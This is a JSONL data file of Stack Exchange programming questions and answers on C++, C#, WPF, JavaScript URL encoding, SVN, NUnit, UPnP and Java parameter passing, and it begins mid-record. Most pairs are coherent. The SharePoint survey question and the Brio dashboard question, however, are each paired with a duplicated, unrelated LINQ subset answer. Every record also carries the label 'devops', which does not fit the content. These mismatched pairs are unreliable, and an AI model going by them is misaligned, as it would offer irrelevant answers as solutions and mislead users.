"https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:11.477095"}
{"id": "hf_4b88c1bd72cd", "question": "<p>How can I parse integers passed to an application as command line arguments if the app is unicode?</p>\n\n<p>Unicode apps have a main like this:</p>\n\n<pre><code>int _tmain(int argc, _TCHAR* argv[])\n</code></pre>\n\n<p>argv[?] is a wchar_t*. That means i can't use atoi. How can I convert it to an integer? Is stringstream the best option?</p>\n", "question_body": "", "answer": "if you have a TCHAR array or a pointer to the begin of it, you can use\n```\nstd::basic_istringstream\n```\nto work with it:\n```\n```\nstd::basic_istringstream<_TCHAR> ss(argv[x]);\nint number;\nss >> number;\n```\n```\nNow,\n```\nnumber\n```\nis the converted number. This will work in ANSI mode (_TCHAR is typedef'ed to\n```\nchar\n```\n) and in Unicode (_TCHAR is typedef`ed to wchar_t as you say) mode.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:11.509278"}
{"id": "hf_ecc13e44328d", "question": "<p>Is it possible to have a WPF window/element detect the drag'n'dropping of a file from windows explorer in C# .Net 3.5? I've found solutions for WinForms, but none for WPF.</p>\n", "question_body": "", "answer": "Turns out I couldn't drop onto my TextBox for some reason, but dropping onto buttons works fine. Got it working by adding 'AllowDrop=\"True\"' to my window and adding drop event handler to button consisting of:\n```\n```\nprivate void btnFindType_Drop(object sender, DragEventArgs e)\n{\n  if (e.Data is System.Windows.DataObject &&\n    ((System.Windows.DataObject)e.Data).ContainsFileDropList())\n  {\n    foreach (string filePath in ((System.Windows.DataObject)e.Data).GetFileDropList())\n    {\n      // Processing here\n    }\n  }            \n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:11.545844"}
{"id": "hf_adb0872042c4", "question": "<p>this c# code is probably not the most efficient but gets what I want done.  </p>\n\n<p>How do I accomplish the same thing in F# code?</p>\n\n<pre><code>    string xml = \" &lt;EmailList&gt; \" +\n               \"      &lt;Email&gt;test@email.com&lt;/Email&gt; \" +\n               \"      &lt;Email&gt;test2@email.com&lt;/Email&gt; \" +\n               \" &lt;/EmailList&gt; \";\n\n    XmlDocument xdoc = new XmlDocument();\n    XmlNodeList nodeList;\n    String emailList = string.Empty;\n    xdoc.LoadXml(xml);\n    nodeList = xdoc.SelectNodes(\"//EmailList\");\n    foreach (XmlNode item in nodeList)\n    {\n        foreach (XmlNode email in item)\n        {\n             emailList +=  email.InnerText.ToString() +  Environment.NewLine ;\n        }               \n    }\n</code></pre>\n", "question_body": "", "answer": "If you look at your code, you have a couple of things going on. The first is loading the collection for the Email nodes, and the second is actually doing something meaningful with them.\nFirst, you'd want to have your function return a collection. Something like (and I'm on my Mac, so this may not work):\n```\n```\nList<string> EmailAddresses(string xml)\n{\n    XmlDocument xdoc = new XmlDocument();\n    XmlNodeList nodeList;\n    String emailList = string.Empty;\n    xdoc.LoadXml(xml);\n    nodeList = xdoc.SelectNodes(\"//EmailList\");\n    foreach (XmlNode item in nodeList)\n    {\n        foreach (XmlNode email in item)\n        {\n             yield email.InnerText.ToString();\n        }               \n    }\n}\n```\n```\nNow the question comes around what you want to do with that collection. In your example above, you were concatenating it, or basically storing state.\nFrom a C# perspective, you can then start using things like the answers from\nthis question\n(using LINQ) and\nthis one\n.\nFrom an F# perspective, you now have a list and can simply use the normal procedures for a list like\nthis one\nor\nhere\n.\nYou can also look at\nLINQ to XML\n(or at the\n5 minute overview\n) to get some more ideas.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:11.594580"}
{"id": "hf_986aec4784b6", "question": "<p>How do you safely encode a URL using JavaScript such that it can be put into a GET string?</p>\n\n<pre><code>var myUrl = \"http://example.com/index.html?param=1&amp;anotherParam=2\";\nvar myOtherUrl = \"http://example.com/index.html?url=\" + myUrl;\n</code></pre>\n\n<p>I assume that you need to encode the <code>myUrl</code> variable on that second line?</p>\n", "question_body": "", "answer": "Check out the built-in function\nencodeURIComponent(str)\nand\nencodeURI(str)\n.\nIn your case, this should work:\n```\n```\nvar myOtherUrl = \n       \"http://example.com/index.html?url=\" + encodeURIComponent(myUrl);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:11.620016"}
{"id": "hf_d30daa083298", "question": "<p>I just installed the SharePoint SDK on my machine, but I can't seem to find the location of Microsoft.Sharepoint.dll so I can add a reference to it.</p>\n\n<p>It's not in the GAC or C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\12\\ISAPI\\ and a search comes up with nothing.</p>\n\n<p>Any suggestions?</p>\n", "question_body": "", "answer": "It might show up in the \"add reference\" dialog anyway - 99% of the time you don't reed to know the physical location.  Look in the \".Net\" list, which is sorted alphabetically.\nI assume the SDK installer would assert this, but Sharepoint development also requires a server OS.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:11.668340"}
{"id": "hf_e8a40aae27b4", "question": "<p>I'm administering a svn repo for a project where the source wasn't imported with a single top level directory. As a result, there are about 15 separate 'projects' instead of one. How can I merge these into one folder while maintaining the change history?</p>\n\n<p>*hint: svn move doesn't work in this case.</p>\n\n<p>[edit]\nwhoops, dupe of <a href=\"https://stackoverflow.com/questions/267256/combining-multiple-svn-repositories-into-one\">Combining multiple SVN repositories into one</a></p>\n", "question_body": "", "answer": "If you don't care about retaining all the history of one of the repositories, you can just create a new directory under one project's repository, then import the other.\nIf you care about retaining the history of both, then you can use 'svnadmin dump' to dump one repository, and 'svnadmin load' to load it into the other repository. The revision numbers will be off, but you'll still have the history.\nCopied from here:\nhttp://subversion.tigris.org/faq.html#multi-merge", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:11.704629"}
{"id": "hf_7026b370d459", "question": "<p>Any idea on how to check whether that list is a subset of another?</p>\n\n<p>Specifically, I have</p>\n\n<pre><code>List&lt;double&gt; t1 = new List&lt;double&gt; { 1, 3, 5 };\nList&lt;double&gt; t2 = new List&lt;double&gt; { 1, 5 };\n</code></pre>\n\n<p>How to check that t2 is a subset of t1, using LINQ?</p>\n", "question_body": "", "answer": "Try this\n```\n```\nstatic bool IsSubSet<A>(A[] set, A[] toCheck) {\n  return set.Length == (toCheck.Intersect(set)).Count();\n}\n```\n```\nThe idea here is that Intersect will only return the values that are in both Arrays.  At this point if the length of the resulting set is the same as the original set, then all elements in \"set\" are also in \"check\" and therefore \"set\" is a subset of \"toCheck\"\nNote: My solution does not work if \"set\" has duplicates.  I'm not changing it because I don't want to steal other people's votes.\nHint: I voted for Cameron's answer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:11.864955"}
{"id": "hf_06adc47d341b", "question": "<p>how do i get a list of user that have completed or not completed or not responded to a survey. </p>\n\n<p>so i have a survey, lets say \"survey A\". in this survey i have a list of people or groups that must fill the survey. sharepoint already gives us a list of respondents, but i want to make a list of people that have not responded or not completed the survey.</p>\n\n<p>i'm using c#, thanks..</p>\n", "question_body": "", "answer": "Try this\n```\n```\nstatic bool IsSubSet<A>(A[] set, A[] toCheck) {\n  return set.Length == (toCheck.Intersect(set)).Count();\n}\n```\n```\nThe idea here is that Intersect will only return the values that are in both Arrays.  At this point if the length of the resulting set is the same as the original set, then all elements in \"set\" are also in \"check\" and therefore \"set\" is a subset of \"toCheck\"\nNote: My solution does not work if \"set\" has duplicates.  I'm not changing it because I don't want to steal other people's votes.\nHint: I voted for Cameron's answer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:11.890586"}
{"id": "hf_a36b43afe426", "question": "<p>Trying to build a dashboard using Oracle's Brio.  I have to access 6 different databases to grab the same type of data, aggregate it and display it.  Except that when I do it, Brio grabs the data from the first source just fine.  When I grab the data from the second data source, Brio replaces the original data with the second set.  So I am not able to aggregate the data.  Can anyone help me figure out how I can do this in Brio please?</p>\n", "question_body": "", "answer": "Try this\n```\n```\nstatic bool IsSubSet<A>(A[] set, A[] toCheck) {\n  return set.Length == (toCheck.Intersect(set)).Count();\n}\n```\n```\nThe idea here is that Intersect will only return the values that are in both Arrays.  At this point if the length of the resulting set is the same as the original set, then all elements in \"set\" are also in \"check\" and therefore \"set\" is a subset of \"toCheck\"\nNote: My solution does not work if \"set\" has duplicates.  I'm not changing it because I don't want to steal other people's votes.\nHint: I voted for Cameron's answer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:11.915694"}
{"id": "hf_1b4462735360", "question": "<p>I'm working on a site now that have to fetch users feeds. But how can I best optimize fetching if I have a database with, lets say, 300 feeds. I'm going to set up a cron-job to which fetches the feeds, but should I do it like 5 every second minute or something? </p>\n\n<p>Any ideas on how to do this the best way in PHP?</p>\n", "question_body": "", "answer": "Based on the new information I think I would do something like this:\nLet the \"first\" client initiate the updatework and store timestamp with it.\nEverey other clients that will ask for the information get a cashed information until that information are to old. Next hit from a client will then refresh the cashe that then will be used by all clients till next time its to old.\nThe client that will actually initiate the updatework should not have to wait for it to finnish, just serv the old cashed version and continue to do it till the work is done.\nThat way you dont have to update\nanything\nif no clients are requesting it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:11.952125"}
{"id": "hf_381e252f1fa1", "question": "<p>I'll phrase this in the form of an example to make it more clear.</p>\n\n<p>Say I have a vector of animals and I want to go through the array and see if the elements are either dogs or cats?</p>\n\n<pre><code>class Dog: public Animal{/*...*/};\nclass Cat: public Animal{/*...*/};\n\nint main()\n{\nvector&lt;Animal*&gt; stuff;\n//cramming the dogs and cats in...\n\nfor(/*all elements in stuff*/)\n//Something to the effect of:  if(stuff[i].getClass()==Dog) {/*do something*/}\n\n}\n</code></pre>\n\n<p>I hope that's sort of clear. I know about typeid, but I don't really have any Dog object to compare it to and I would like to avoid creating a Dog object if I can.</p>\n\n<p>Is there a way to do this? Thanks in advance.</p>\n", "question_body": "", "answer": "You can use\n```\ndynamic_cast\n```\n, as long as the vector contains Animal pointers.\n```\n```\nvector <Animal *> stuff;\n\nfor(int i=0;i<stuff.size();i++) {\n    Dog *pDog = dynamic_cast <Dog *> (stuff[i]);\n    if(pDog) {\n        // do whatever with the dog\n    }\n\n    Cat *pCat = dynamic_cast <Cat *> (stuff[i]);\n    if(pCat) {\n        // and so on\n    }\n}\n```\n```\nbut you should be aware that this is generally not the best practice. You should try to work with polymorphism, not against it. In other words, try to write a virtual\n```\nAnimal\n```\nfunction that\n```\nDog\n```\nand\n```\nCat\n```\noverride, and let the compiler automagically call the right one.\n(Also,\n```\ndynamic_cast\n```\nis relatively slow, so too many of them will hinder performance; whereas a virtual function call is general just a single instruction.)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:11.992717"}
{"id": "hf_d3103ab255cc", "question": "<p>I'm looking for something containing similar functions to Matlab’s financial and financial derivatives toolbox but don’t have the cash to spend on matlab. I would appreciate any info on free or open source libraries or programs that will let me easily calculate interest rates, risk etc.</p>\n", "question_body": "", "answer": "How about the\nOctave\nfinancial functions?\nhttp://www.gnu.org/software/octave/doc/interpreter/Financial-Functions.html#Financial-Functions\nI'm not familiar with the Matlab toolbox, so you'll have to judge for yourself.\nGNU Octave is a high-level language,\n  primarily intended for numerical\n  computations. It provides a convenient\n  command line interface for solving\n  linear and nonlinear problems\n  numerically, and for performing other\n  numerical experiments using a language\n  that is mostly compatible with Matlab.\n  It may also be used as a\n  batch-oriented language.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:12.017955"}
{"id": "hf_5a705f923a4f", "question": "<p>I was thinking it would be nice to create a base class for NUnit test fixtures that opens a TransactionScope during the SetUp phase, then rolls back the transaction during tear down.\nSomething like this:</p>\n\n<pre><code>    public abstract class TestFixtureBase\n{\n    private TransactionScope _transaction;\n\n    [TestFixtureSetUp]\n    public void TestFixtureSetup()\n    {\n        _transaction = new TransactionScope();\n    }\n\n    [TestFixtureTearDown]\n    public void TestFixtureTearDown()\n    {\n        if (_transaction != null)\n        {\n            _transaction.Dispose();\n        }\n    }\n}\n</code></pre>\n\n<p>Do you think this is a good idea?</p>\n\n<p>Obviously the database is just a test database, not a live database, but it would still be annoying if it filled up with junk data from the unit tests.</p>\n\n<p>What do other people do when running unit tests that involve a lot of data access?</p>\n", "question_body": "", "answer": "You want to be careful here.  TransactionScope is going to promote the transaction to a distributed transaction if you open up more than one connection to the database.  I find that it is easier just to write some simple SQL that clears out the tables of interest to my test class before I start running the test.\nEDIT:\nNormally I would call any test that touches the database an integration test since it involves another system.  Typically, I will mock out the database when unit testing my code.\n```\n```\n[TestSetup]\npublic void Setup()\n{\n   foreach (string table in new string[] { \"table1\", \"table2\" })\n   {\n        ClearTable( table );\n   }\n}\n\nprivate void ClearTable( string table )\n{\n     ...standard stuff to set up connection...\n     SqlCommand command = connection.CreateCommand() );\n     command.CommandText = \"delete from \" + table;\n     command.ExecuteNonQuery();\n     ... stuff to clean up connection...\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:12.046508"}
{"id": "hf_4a20a697d478", "question": "<p>I have around 8-9 parameters to pass in a function which returns an array. I would like to know that its better to pass those parameters directly in the function or pass an array instead? Which will be a better way and why?</p>\n", "question_body": "", "answer": "Pass them individually, because:\nthat is the type-safe way.\nIntelliSense will pick it up in Visual Studio and when you write your calling functions, you will know what's what.\nIt is faster to execute that way.\nIf the parameter really IS the array, though, then pass the array.  Example:\nFor functions which look like this, use this notation:\n```\n```\nArray FireEmployee(string first, string middle, string last, int id) {...}\n```\n```\nFor functions that look like this, use the array:\n```\n```\nArray FireEmployees(Employee[] unionWorkers) {...}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:12.083817"}
{"id": "hf_9e694d51a874", "question": "<p>I'm working on a P2P application, and I need to get it to communicate through NAT Routers / Firewalls using UPnP. However, it doesn't seem that the .NET Framework includes support for UPnP.</p>\n\n<p>Is there a UPnP Library for .NET? C# or VB.NET?</p>\n\n<p>UPDATE: I have since found the NATUPnP 1.0 Type Library (NATUPNP.DLL) COM Component that is part of Windows (since Windows XP) that allows you to easily setup/maintain Port Forwarding using UPnP.</p>\n\n<p>I wrote an article with code samples here:\n<a href=\"http://pietschsoft.com/post.aspx?id=31200e6d-4b61-48b8-a9cb-91e3dd8e97f3\" rel=\"noreferrer\">.NET Framework: Communicate through NAT Router via UPnP (Universal Plug and Play)</a></p>\n", "question_body": "", "answer": "There is a COM library that's easy enough to access:\nUPnP APIs\nPurpose\nThe UPnP™ framework enables dynamic\n  networking of intelligent appliances,\n  wireless devices, and PCs. There are\n  two APIs for working with\n  UPnP-certified devices:\nThe\nControl Point API\n, which consists\n  of a set of COM interfaces used to\n  find and control devices. The\nDevice\n  Host API\n, which consists of a set of\n  COM interfaces used to implement\n  devices that are hosted by a computer.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:12.119942"}
{"id": "hf_6a0ef909fb9e", "question": "<p>I have a page which work like a navigation and a iframe in this page which show the content. </p>\n\n<p>Now there are some situation when the inner page is directly shown in the browser. \neg: if somebody types the inner page's url in the browser address bar, the page is displayed in the window. </p>\n\n<p>I want to prevent this. </p>\n\n<p>Better still, I would like to redirect to any other page.</p>\n", "question_body": "", "answer": "```\n```\n<script language=\"Javascript\"><!-- \nif (top.location == self.location) { \n  top.location = \"index.html\" // must be viewed in main index\n}\n//--></script>\n```\n```\nmodified it from a situation where an an iframe decides to become the main frame.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:12.146100"}
{"id": "hf_709ca4dcb54f", "question": "<p>I have a goal to build an application with UI that would run on both Windows Mobile and \"normal\" desktop Windows. The priority is for it to \"look good\" under Windows Mobile, and for desktop Windows it is OK if it distorted. Before I invest days trying, I would like to hear if that is possible to begin with. There are several parts to this question:</p>\n\n<ol>\n<li><p>Is .NET Compact Framework a subset of \"normal\" (please, edit) .NET Framework? If not, does MSDN have any information anywhere on classes that are in .NET Compact Framework, but not in \"normal\" (again, please, edit) framework?</p></li>\n<li><p>Is behavior of shared classes same in both frameworks?</p></li>\n<li><p>Is it possible to have a single Visual Studio 2005 solution / project for both platforms? If yes, how do to set it up?</p></li>\n<li><p>Any other comments and advice? Any relevant links?</p></li>\n</ol>\n", "question_body": "", "answer": "CF, in general contains a subset of the\nclasses\nfrom the regular framework - but you can't directly execute code from one on t'other. Additionally, rather than just being a subset, there are probably a few things in compact that aren't in the regular version, such as the GUI things specific for mobile devices (soft keys, etc) - assuming you are writing a winform exe, and not a web page (which might be the simplest way to get compatibility).\nWith some effort, it it possible to share\nlogic\ncode, in particular utility dlls - but they need different csproj files (since they have completely different compile-time \"targets\"). To reduce maintenance, you can often cheat by hacking the csproj to use wildcards, like from\nhere\n:\n```\n```\n<ItemGroup>\n  <Compile Include=\"..\\protobuf-net\\**\\*.cs\" />\n</ItemGroup>\n```\n```\nFor UI, things get a lot tricker. In general the expectation would be to have shared business logic and separate UI for different target devices.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:12.180749"}
{"id": "hf_3921173fb2b4", "question": "<p>I would like to know how to setup an SVN repository with LDAP authentication.\nI do not want to use Apache DAV though.</p>\n", "question_body": "", "answer": "There are two options:\nRun svnserve as a server, and authenticate using\nSASL\n. Configure\nSASL to authenticate against LDAP\n.\nAccess the repository over ssh. Create ssh accounts for all users (perhaps automatically), and have these accounts authenticate against LDAP using PAM. Put all users into a single group, and make the repository files owned by that group.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:12.243076"}
{"id": "hf_f72b8a72501b", "question": "<p>You can do it in .NET by using the keyword \"ref\". Is there any way to do so in Java?</p>\n", "question_body": "", "answer": "Java uses pass by value for method arguments\n.\nPrimitives\n(int, boolean, etc.) are special cases in Java.. not objects per se. In this case, a copy of the primitive (argument) is passed into the function. This gels well with the pass by value theory.\nFor Objects, what happens is that the ref to the object is passed by value (a copy of the reference is made rather than the object)... but both references point to the same object. So if you modify an object parameter in a method, the actual object will be modified.\nThis article should help you out..\nhttp://www.javaworld.com/javaworld/javaqa/2000-05/03-qa-0526-pass.html\nAs for the OP's question, just pass in the reference to the byte[] array to the method. The net result would be similar to pass by reference. If you modify the byte array, the caller will be able to see the changes post method execution.\nUpdate to quell the resistance :)\n=> indicates output\n.NET Land\n```\n```\nclass Counter\n{\n  private int m_count = 0;\n  public override string  ToString()\n  {\n     return String.Format(\"Counter ID{0} : Value {1}\", this.GetHashCode(), m_count);\n  }\n  public void Increment()\n  {  m_count++;  }\n}\nclass MakeAPass\n{\n   public void PassByValueAndModify(int i)\n   {   i = 20;    }\n\n   public void PassByRefAndModify(ref int i)\n   {   i = 20;   }\n\n   public void PassByValueAndModify(Counter c)\n   {   c.Increment();   }\n\n   public void PassByRefAndModify(ref Counter c)\n   {   c.Increment();   }\n\n   public void PassByRefAndReassign(ref Counter c)\n   {\n      c = new Counter();\n      for (int i=0; i<5; ++i)\n         c.Increment();\n   }\n}\n\nstatic void Main(string[] args)\n{\n   MakeAPass obj = new MakeAPass();\n   int intVal = 10;\n   obj.PassByValueAndModify(intVal);\n   Console.WriteLine(intVal);              // => 10\n   obj.PassByRefAndModify(ref intVal);\n   Console.WriteLine(intVal);              // => 20\n\n   Counter obCounter = new Counter();\n   obj.PassByValueAndModify(obCounter);\n   Console.WriteLine(obCounter.ToString());  // => Counter ID58225482 : Value 1\n   obj.PassByRefAndModify(ref obCounter);\n   Console.WriteLine(obCounter.ToString());  // => Counter ID58225482 : Value 2\n   obj.PassByRefAndReassign(ref obCounter);\n   Console.WriteLine(obCounter.ToString());  // => Counter ID54267293 : Value 5\n}\n```\n```\nJava Land\nMinor mods reqd: Use hashCode() and + to concat strings in Counter.java...\n```\n```\nclass MakeAPass\n{\n   public void PassByValueAndModify(int i)\n   {   i = 20;   }\n\n   // can't be done.. Use Integer class which wraps primitive\n   //public void PassByRefAndModify(ref int i)\n\n   public void PassByValueAndModify(Counter c)\n   {   c.Increment();   }\n\n   // same as above. no ref keyword though\n   //public void PassByRefAndModify(ref Counter c)\n\n   // this can't be done as in .net\n   //public void PassByRefAndReassign(ref Counter c)\n   public void PassAndReassign(Counter c)\n   {\n      c = new Counter();\n      for (int i=0; i<5; ++i)\n         c.Increment();\n   }\n}\npublic static void main(String args[])\n{\n   MakeAPass obj = new MakeAPass();\n   int intVal = 10;\n   obj.PassByValueAndModify(intVal);\n   System.out.println(intVal);                 // => 10 \n   //obj.PassByRefAndModify(ref intVal);\n   //System.out.println(intVal);               // can't get it to say 20\n\n   Counter obCounter = new Counter();\n   obj.PassByValueAndModify(obCounter);\n   System.out.println(obCounter.ToString());    // => Counter ID3541984 : Value 1\n   //obj.PassByRefAndModify(ref obCounter);\n   //Console.WriteLine(obCounter.ToString());   // no ref. but can make it 2 by repeating prev call\n   obj.PassAndReassign(obCounter);\n   System.out.println(obCounter.ToString());    // => Counter ID3541984 : Value 1\n                                                // can't get it to say 5  \n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:12.267042"}
{"id": "hf_304f0e884645", "question": "<p>I have a solution of mixed VB.NET and C++ projects. When using Visual Studio 2005 you can set the \"Tools->Option->Projects and Solutions->VC++ Directories\" to help the compiler find your include files. When building the same solution with MSBuild I don't see how to pass these settings. The C++ won't compile without this path specified. When building this solution form Visual Studio it build perfectly.</p>\n\n<p>What is the way to pass this path for MSBUild?</p>\n\n<p>Edit: Looks like MSBuild doesn't pass the path (or the /u switch) to vcbuild. Starting from VCBuild instead fails on dependency.</p>\n", "question_body": "", "answer": "To set the include directories, you can add them into your INCLUDE environment variable. You use the same format as in PATH env. variable - you separate paths with semicolons.\nTo set the library directories - you can do it in similar way, by putting them into your LIB environment variable.\nTo set environment variables, you simply right-click \"My Computer\", choose \"Properties\". Then you go to \"Advanced\" tab, and there's a button called \"Environment Variables\".\nOr, you can run MSBuild from a BATCH script, in which case, before calling MSBuild, you can set the INCLUDE and LIB variables, like so:\n```\n```\nset INCLUDE=C:\\Libraries\\LibA\\Include\nset LIB=C:\\Libraries\\LibA\\Lib\\x86\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:12.292744"}
{"id": "hf_77dcdd102c7a", "question": "<p>I get this error:</p>\n\n<p>System.Reflection.TargetException: Object does not match target type.</p>\n\n<p>when trying to bind a <code>List&lt;IEvent&gt;</code> where an IEvent can be an appointment, a birthday, or a few other calendar related event types.</p>\n", "question_body": "", "answer": "ChanChan,\nGridView does\nnot\nsupport binding to a collection of interfaces,\nTry redisigning your application to ensure binding only to a collection of concreate classes.\nThe only workaround for this is to use base class (in your case Event) and bind to a collection of events.\n```\n```\npublic  class Event\n        {\n            public  DateTime StartDate { get; set; }\n        }\n        public class Birthday : Event\n        {       \n\n            public DateTime? EndDate { get; set; }\n        } \n        public class Appointment : Event\n        {       \n\n            public string Place { get; set; }\n        }\n        public class EventCollection : Collection<Event>\n        {\n            public static EventCollection GetEvents()\n            {\n                var events = new EventCollection();\n                events.Add(new Birthday\n                {\n                     EndDate = DateTime.Now.AddDays(1),\n                     StartDate = DateTime.Now\n                });\n                events.Add(new Appointment\n                {\n                    Place = \"Gallery\",\n                    StartDate = DateTime.Now\n                });\n                return events;\n             }\n         }\n```\n```\nPlease note that inheritance from base classes creates 'is a' relation, but inheriting\nfrom interfaces creates 'can do' relation. In other words, IMO, implementing IEvent\nwould be a bad design, since Birthday 'is a' Event. I would inherit from base class here.\nHope this helps,\nValve.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:12.318054"}
{"id": "hf_2c4ea172a137", "question": "<p>I would like to be able to show a non-modal form in an already existing application.  At the moment I can do something like:</p>\n\n<pre><code>myform.ShowDialog(handleToApp);\n</code></pre>\n\n<p>but that will create a modal form parented to the application and what I'm really looking for something that isn't modal so when the form loses focus it won't break the flow of control and pester the user about not being closed.</p>\n\n<p>Does anyone know how or if I can do what I'm looking for?</p>\n", "question_body": "", "answer": "How about a simple\n```\nmyForm.Show()\n```\n?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:12.356033"}
{"id": "hf_9c5f53b72c73", "question": "<p>I'm trying to figure out if Haskell uses dynamic or static scoping.\nI realize that, for example, if you define:</p>\n\n<pre><code>let x = 10\n</code></pre>\n\n<p>then define the function</p>\n\n<pre><code>let square x = x*x\n</code></pre>\n\n<p>You have 2 different \"x's\", and does that mean it is dynamically scoped?  If not, what scoping does it use, and why?</p>\n\n<p>Also, can Haskell variables have aliases (a different name for the same memory location/value)?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "Haskell use (broadly speaking) exactly the same lexical scoping as most other languages.\neg.\n```\n```\nx = 10\n```\n```\nResults in a value referenced through\n```\nx\n```\nin the global scope, whereas\n```\n```\nsquare x = x * x\n```\n```\nwill result in\n```\nx\n```\nbeing lexically scoped to the function square.  It may help if you think of the above form being a syntactic nicety for:\n```\n```\nsquare = \\ x -> x * x\n```\n```\nAs to your other question i'm not sure what you mean by aliasing", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:33:12.404207"}
